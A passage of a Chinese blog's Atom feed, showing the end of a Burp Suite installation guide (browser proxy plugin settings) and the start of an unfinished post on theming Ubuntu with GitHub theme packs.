<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/omg2.png" alt="" width="2845" height="1523" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/omg2-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/omg2-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/omg2-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/omg2-xl.webp 1024w"></figure>
<p>最后选择左下角的“应用选项”，保存即可</p>
<h5>步骤十二：该插件使用的指南</h5>
<p><code>*注意</code>：当你选择[burp suite]的时候，浏览器的流量将由burp suite接管，不需要手动去改设置（平时不用的时候，一定要选择[系统代理]，不然会没有网络！）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/43/Ping-Mu-Jie-Tu-2026-04-17-000625.png" alt="" width="369" height="525" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-17-000625-xs.webp 320w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-17-000625-sm.webp 480w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-17-000625-md.webp 768w ,https://old.zeyun.org/media/posts/43/responsive/Ping-Mu-Jie-Tu-2026-04-17-000625-xl.webp 1024w"></figure>
<p class="align-center">那么以上就是整个burp suite安装过程，感谢您能看到这里</p>
<p class="align-center">你的肯定是我更新最大的动力(≧∀≦)ゞ</p>
            ]]>
        </content>
    </entry>
    <entry>
        <title>美化Ubuntu</title>
        <author>
            <name>云泽</name>
        </author>
        <link href="https://old.zeyun.org/beautify_about_ubuntu.html"/>
        <id>https://old.zeyun.org/beautify_about_ubuntu.html</id>
            <category term="Linux学习笔记"/>

        <updated>2026-03-02T23:01:23+09:00</updated>
            <summary>
                <![CDATA[
                    在前一章节，我带领大家配置完基础的安装过程，以及换完国内的源等基础的Ubuntu的设置后，接下来我会带领大家实现如下图的美化效果（如下图所示） 如果没看我前一章节的朋友，可以回头看看：点我直达 别担心，本篇文章我会带着从零开始，一步一步地美化这个系统 所需材料来源于Github的大佬们制作的美化包，所以务必请准备好外网环境，如果没有的话，可以使用国内的镜像站（改成bgithub.xyz即可） 剩余内容还在更新中....
                ]]>
            </summary>
        <content type="html">
            <![CDATA[
                <p>在前一章节，我带领大家配置完基础的安装过程，以及换完国内的源等基础的Ubuntu的设置后，接下来我会带领大家实现如下图的美化效果（如下图所示）</p>
<p>如果没看我前一章节的朋友，可以回头看看：点我直达</p>
<p>别担心，本篇文章我会带着从零开始，一步一步地美化这个系统</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/42/ubuntumacosmain.png" alt="" width="1920" height="1080" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/42/responsive/ubuntumacosmain-xs.webp 320w ,https://old.zeyun.org/media/posts/42/responsive/ubuntumacosmain-sm.webp 480w ,https://old.zeyun.org/media/posts/42/responsive/ubuntumacosmain-md.webp 768w ,https://old.zeyun.org/media/posts/42/responsive/ubuntumacosmain-xl.webp 1024w"></figure>
<p>所需材料来源于Github的大佬们制作的美化包，所以务必请准备好外网环境，如果没有的话，可以使用国内的镜像站（改成bgithub.xyz即可）</p>
<p class="align-center">剩余内容还在更新中....</p>
            ]]>
        </content>
    </entry>
</feed>
